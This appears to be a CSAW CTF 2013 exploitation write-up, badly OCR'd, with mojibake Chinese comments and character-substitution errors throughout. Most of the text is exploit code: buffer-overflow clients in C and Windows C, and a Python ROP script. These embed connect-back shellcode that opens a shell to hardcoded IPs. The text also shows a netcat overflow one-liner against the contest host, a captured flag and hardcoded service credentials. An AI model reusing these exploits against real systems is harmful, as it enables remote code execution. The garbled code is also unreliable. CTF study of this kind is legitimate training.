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[snip]

void handle(int newsock) {
int backdoor = 0;

char buffer[1016];

memset (buffer, 0, 1016);

send(newsock, "Welcome to CSAW CTF.", 21, 0);
recv(newsock, buffer, 1020, 0);
buffer[1015] = 0;

if ( backdoor ) {

fd = fopen("./key", "r");
fscanf(fd, "%s\n", buffer);
send(newsock, buffer, 512, 9);

}
close(newsock);

}

[snip]
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python -c "print 'A'*1020"|nc 128.238.66.212 31337
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int _ cdecl handle(int fd)
{
int result; // eax@1
unsigned int v2; // eax@1
char buf[2048]; // [sp+1Ch] [bp-80Ch]@1
char v4; // [sp+81Bh] [bp-Dh]@1
int v5; // [sp+81Ch] [bp-Ch]@1

v5 = 0;
memset(buf, @, sizeof(buf));
v2 = time(9);
srand(v2);
secret = rand();
v5 = secret;
*(_DWORD *)buf = buf; // ¥bufijihl B4 bufmaGIyA~5=15
send(fd, buf, 4u, @); // Kikbufihhl
send(fd, &v5, 4u, 0); // KiEVSHEH
send(
fd,
"Welcome to CSAW CTF. Exploitation 2 will be a little harder this year. Insert your exploit here:",
0x63u,
8);
recv(fd, buf, ©x10eeu, 0);
v4 = 0;
result = secret;
if ( v5 != secret )
{
close(fd);
exit(0);
}

return result;
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shellcode <-- buf2zh ik

0x90H 78

secret <-- V5IALE

0x90909090*3

RetAddr <-- R [BlHdE, 7855 bufEah ik

#include <unistd.h>



#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>

// TESTIP = 192.168.28.1

#define TESTIP "\xc@\xa8\xlc\x01l"
// PORT = 31337

#define PORT "\x7a\x69"

#define TARGET "128.238.66.212"

unsigned char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xel\xcd\x80\x89"
"\xc6\xbB\x66\x31\xdb\xb3\x02\x68"
TESTIP"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xel\x6a\x10\x51\x56\x89"
"\xel\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xbO\x3f\xcd\x80\x75\xf8\x31"
"\xc@\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xel\x52\x89\xe2\xbo\x0b\xcd"
"\x80";

int main()
{
struct sockaddr_in addr;
int fd;
char welcome[99];
unsigned char buf[2068];
for (int 1 = 0; 1 < 92; ++i)
buf[i] = shellcode[i];

addr.sin_family = AF_INET;
addr.sin_port = htons(31338);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");

if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("[-] Create socket error.\n");
exit(0);
)
printf("[+] Create socket success.\n");
if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) == -1)
{
printf("[-] Connect error.\n");
exit(0);
)

printf("[+] Connect success.\n");

recv(fd, buf+2064, 4, 0);
recv(fd, buf+2048, 4, 0);
recv(fd, welcome, 99, 0);
printf("%s\n", welcome);
send(fd, buf, 2068, 9);
close(fd);

return(9);
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whoami

csaw
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exploit2.c

key

cat key
flag{53666€040caa855a9b27194c82a26366}
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HEFIIDAH, 7Esub 80491565, wJ LLE £

loc_8849361: loc_80L493EE:

mov eax, [ebp+s] moy eax, [ebp+var 48]

mov edx, eax moy edx, eax

mov eax, offset aCsaw2B13 poy eax, offset aSimplepud
mov ecx, B mov ecx, 9

mov esi, edx mou esi, edx

mov edi, eax mou edi, eax

SR 5 AT LLER B IE#f frlusername Mlpassword

.rodata:08049A4F aCsaw2013 db 'csaw2013',0
.rodata:08049A58 aS1mplepwd ~ db 'SImplePWD',0

R 5 #0505, 251 fHlsub_8048E52, fEIXHL, FEFFLEUHI M MIAK— T

SRJ5 Flsub 8048EFE, £xif4T—LLEE



n=az2; // XPEERIEARET
if ( (unsigned int)(a2 + 1) <= 0x400 )
{
v7 = recv(fd, &buf, n, 0); [/ BEEERATT R R B

}

else
{

fprintf(stderr, "%s\n", "Invalid Length");
}

1 FbufH % 1 0x400fK 2= 8], FT LAFRATT 75 24 A B i th gt

(unsigned int)(a2 + 1) <= 0x400

XASPRA o
Oxffff = 65535; Oxffff+1 = 0 <= 0x400
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#include <Winsock2.h>

#include <stdio.h>

#include <windows.h>

#pragma comment(lib, "ws2_32.1ib")

#define IPADDR "\x77\x76\xe7\xb4"
#define PORT "\x82\x35"

unsigned char username[]="csaw2013";
unsigned char password[]="SimplePWD";
unsigned char enterinfo[]="65535";
unsigned int tryshellcode;

unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xel\xcd\x80\x89"
"\xc6\xbB\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xel\x6a\x10\x51\x56\x89"
"\xel\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc@\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xel\x52\x89\xe2\xbo\x0b\xcd"
"\x80";



/ /¥ kSocket
int InitSocket()

{
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(2, 2);
err = WSAStartup(wVersionRequested, &wsaData);
if (err 1= 0) {
printf("WSAStartup failed with error: %d\n", err);
return 1;
}
if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {
printf("Could not find a usable version of Winsock.dll\n");
WSACleanup();
return 1;
}
return 0;
}
void main()
{
int *se;

unsigned int iii;
SOCKADDR_IN addr;
SOCKET s;

unsigned int secret;
unsigned int stack;
char buf[0x3000];

InitSocket();
for(iii=Oxffffff;iii>=0;iii-=908)
{

memset (buf,0,0x3000);

s=socket (AF_INET,SOCK_STREAM,Q);
if(s==INVALID_SOCKET)

{

printf("socket INVALID_SOCKET!\n");
getchar();

getchar();

return;

}

addr.sin_addr.S_un.S_addr=inet_addr("128.238.66.217");//128.238.66.212
addr.sin_family=AF_INET;
addr.sin_port=htons(34266);

if (SOCKET_ERROR==connect (s, (SOCKADDR*)&addr,sizeof(SOCKADDR)))
{

printf("connect Error!\n");

getchar();

getchar();

return;
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memset (buf,0,0x3000);
recv(s,buf,0x3000,0);
//  printf("->: %s\n",buf);

memset (buf,0,0x3000);
recv(s,buf,0x3000,0);
//  printf("->: %s\n",buf);

memset (buf,0,0x3000);
strcpy(buf,username);
send(s,buf,strlen(buf)+1,0);

memset (buf,0,0x3000);
recv(s,buf,0x3000,0);
//  printf("->: %s\n",buf);//show password

memset (buf,0,0x3000);
strcpy(buf,password);
send(s,buf,strlen(buf)+1,0);

memset (buf,0,0x3000);
recv(s,buf,0x3000,0);
//  printf("->: %s\n",buf);//Login?

memset (buf,0,0x3000);
recv(s,buf,0x3000,0);
//  printf("->: %s\n",buf);//enter info

memset (buf,0,0x3000);
strcpy(buf,enterinfo);
send(s,buf,strlen(buf)+1,0);

/// Sleep(100);

memset (buf,0x90,0x3000) ;
strcpy (buf+0x3e8-92, code);

tryshellcode=(unsigned int)o@xbf000000+iii,;

*((unsigned int*)(buf+0x420))=tryshellcode;
printf("tryshellcode=%x\n",tryshellcode);

// getchar();
send(s,buf,0x424,0);

// Sleep(100);
closesocket(s);

}
WSACleanup();

}
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recv [ HIAE A 0x08048890, ‘B EANSH, fd, buf, len, flag. Hdbufik & H0x0804b000, leni & Jyshellcode
FIKE, flagikt B N0,
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0, Ar#Edm Astdin

1, FrifEftstdout

2, ARUER R IAstderr
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fd = socket();

bind(fd);

listen(fd);

newfd = accept(fd);

if ((pid = fork()) == @)

{// Ti#&
close(fd);
handle(newfd);
close(newfd);
exit(0);

}

else if (pid > 9)
{ /7 Kithe
close(newfd);

}
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buf
junk

RetAddr <-- 0x08048890 recv()
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len(shellcode) len

0x00000000 flags
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#!/usr/bin/env python
#coding=utf-8

import socket
import struct

local = True

// shellcodeXfg: FFiad444uii1], ZHRFER

SHELLCODE = \
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xel\xbO\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xel\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xbo"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2F\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xel\xbo"
"\x0b\xcd\x80"

def pack(addr):

return struct.pack("<I", addr)
def unpack(s):

return struct.pack("<I",s)[0]

if local:

host = "localhost™
else:

host = "128.238.66.217"
port = 34266

recv_plt = 0x8048890

wn

= socket.socket(socket.AF_INET, socket.SOCK_STREAM, ©)
s.connect((host, port))

s.recv(1024)
.recv(1024)

wn

.send("csaw2013\n")
.recv(1024)
.send("S1mplePWD\n")
.recv(1024)
.recv(1024)
.send("-1\n")
raw_input("--")

n nu nu nu n n

writable_addr = 0x804b800

ebp = pack(writable_addr)

eip = pack(recv_plt)

next_eip = pack(0x804b000)
params = pack(4)

params += pack(0x804b000)
params += pack(len(SHELLCODE))
params += pack(9)

s.send("A"*0x41c+ebp+eip+next_eip+params)

raw_input("--")
s.send(SHELLCODE)
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